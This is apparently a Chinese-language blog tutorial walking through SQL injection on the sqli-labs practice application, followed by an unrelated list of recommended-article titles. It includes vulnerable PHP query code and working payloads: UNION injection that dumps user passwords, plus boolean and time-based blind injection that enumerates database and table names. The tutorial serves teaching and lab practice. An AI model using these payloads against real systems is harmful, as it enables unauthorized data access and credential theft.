SQL 注入是一种攻击方式,在这种攻击方式中,恶意代码被插入到字符串中,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查,因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。

SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时,将执行该恶意代码。

注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串,因此攻击者将用注释标记“--”来终止注入的字符串。执行时,此后的文本将被忽略。


显错注入

关键代码为:

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

构造语句显示所有的用户名和密码:%27 union select * from users --+(%27是單引號 ' )


关键代码为:

$id = $_GET['id'];

$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

构造语句来显示所有的用户名和密码:1%20union%20select%20*%20from%20users%20--+


关键代码为:

$id ='"' .$id. '"';

$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造语句显示所有的用户名和密码:1%27%29%20union%20select%20%2a%20from%20users%20--+


盲注

盲注需要掌握一些MySQL的相关函数:

  • length(str):返回str字符串的长度。如执行select

length(database())则会返回当前数据库名称的长度。而单独select

database()则回返回当前数据库的名称。

  • substr(str, pos, len):从pos位置取出str字符串的len个字符。

如select substring('abcde', 4, 2)则返回de,pos为负则倒数pos个位置,如select substring('abcde', -4, 2);返回bc。

  • ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。

如select ASCII('a')返回97。

将上面几个函数组合一下就有布尔值出现。如Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。

  • if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。

如  select if ((select database())='secur',sleep(10),null)即为判断当当前数据库的名字为secur的时候,MySQL会休眠10秒。

MySQL的主要内置表和字段信息:

information_schema 库的 TABLES 表,主要字段分别是:

  1. TABLE_SCHEMA : 数据库名
  2. TABLE_NAME:表名

关键代码为:

先來猜第一個字,可以用二分法猜,比如一開始

1' AND (ascii(substr((select database()) ,1,1)) > 64)--+

如果不中就改成64+64/2這樣子最快,沒必要用=號一個一個的加上去太慢了,這里就不作演示了

第二個字節就

1' AND (ascii(substr((select database()) ,2,1)) > 64)--+

這樣子猜最後得出数据库名称为security


接下來就做基于時間的盲注

关键代码为:

构造语句来猜出当前数据库中表的数量

1' and if ((select database()="security"), sleep(5), sleep(10))--+;已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。

接下來猜表的數量

1' and if (((select COUNT(table_name) from information_schema.TABLES where table_schema=database())=4), sleep(10), null)--+

4个表


关键代码为:

构造语句来猜出当前数据库中任意一个表的名字,第一個表第一個字節

1" and if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1),1,1))=101),sleep(5),null) -- +

第二個表的話就是把limit 0,1改為limit 1,1

所以第二個表第一個字節是r

表名有emails,referers、uagents、users

SQL注入漏洞-GET注入相关推荐

  1. 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)

    文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...

  2. 检测到目标url存在框架注入漏洞_HOST注入攻击剖析

    关于网站的渗透测试可能师傅们都有自己一套思路,有个共同点就是目标网站基本属于全静态页面,几乎很少存在动态参数这时意味着客户端无法通过提交参数形式进行测试,理论上也规避掉了许多风险.既然无法从参数层面进 ...

  3. V5shop漏洞,V5shop 0day,V5shop注入漏洞,v5shop注入攻击

    漏洞危害:高危 一.漏洞文件:cart.aspx 搜索关键词:inurl:scoreindex.aspx exp : /cart.aspx?act=buy&id=1 and (Select T ...

  4. 浅析Java代码审计中的SQL注入漏洞

    浅析Java代码审计中的SQL注入漏洞 1.注入漏洞简介 2.SQL注入漏洞简介 3.JDBC拼接不当造成SQL注入 第一关:使用Statement 第二关:使用PrepareStatement 4. ...

  5. php注入点判断,PHPEMS一处SQL注入漏洞

    ### 简要描述: PHPEMS一处SQL注入漏洞 ### 详细说明: 8.PHPEMS某处SQL注入漏洞 存在注入漏洞的代码位置是/app/exam/phone.php的exercise()函数中 ...

  6. Java 过滤器解决URLSQL注入漏洞、跨站漏洞、框架注入漏洞、链接注入漏洞

    一. 漏洞描述 1. 检测到目标URL存在SQL注入漏洞 很多WEB应用中都存在SQL注入漏洞.SQL注入是一种攻击者利用代码缺陷进行攻击的方式,可在任何能够影响数据库查询的应用程序参数中利用.例如u ...

  7. 洞态漏洞检出测试第二期:NoSQL LDAP注入漏洞

    ​测试环境 DongTai-Python-agent 版本号:v1.2.0 支持 Python 框架:Flask Python 3.8 NoSQL 注入漏洞 以 JavaScript 注入为例 Jav ...

  8. SQL注入简介和注入方法教学

    文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...

  9. 文件包含和命令注入漏洞

    文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...

最新文章

  1. scala中的部分应用函数和偏函数的区别
  2. dim private public static_static方法 (静态方法)
  3. python用户登录程序_「Python」每日一练:函数的应用之注册登录程序
  4. Mysql(3)——mysql数据类型
  5. Android之ndk-build -j4
  6. java后端通过Filter过滤器解决跨域问题
  7. windows server 2008 NLB 集群
  8. 两种预处理命令的写法的区别
  9. 斗战神服务器正在维护6,斗战神6月5日维护公告
  10. html仿酷狗音乐,winform 仿酷狗音乐列表(非常不错)
  11. PS抠印章|证件照换背景
  12. 密码算法测试向量——目录
  13. ios error90096 错误
  14. android 九宫格带删除,Android--选择多张图片,支持拖拽删除、排序、预览图片
  15. 数字图像处理与Python实现-边缘检测-高斯差分(DoG)算子边缘检测
  16. ds310服务器运行灯不亮,【群晖 DS218+ 2盘位 NAS网络存储服务器外观设计】按键|usb2.0口|电源键|指示灯|风扇_摘要频道_什么值得买...
  17. 机房监控系统解说—新风机篇
  18. Elasticsearch的DSL搜索
  19. NLP Prompting for Text Classification(1)
  20. 1-2 李宏毅2021春季机器学习教程-第一节(下)-深度学习基本概念简介

热门文章

  1. 我的世界java骷髅马_我的世界:骨灰级玩家指令召唤骷髅马,不必等雷劈!还能直接驯服!...
  2. 干货 |如何优雅的在手机上进行Python编程
  3. Nginx(三):日志
  4. mysql函数if为负数_MySQL的if,case语句
  5. x²-dy²=-1有多少整数解?近30年无人解开的数学难题有答案了
  6. 公钥密码体系基于的数学难题
  7. python入门小项目-判断闰年的两种方法(含代码示例)
  8. 【XJTUSE计算机图形学】第三章 几何造型技术(1)——参数曲线和曲面
  9. Unity WebGL错误集锦
  10. java 登录牵手_智慧职教2020Java程序基础章节答案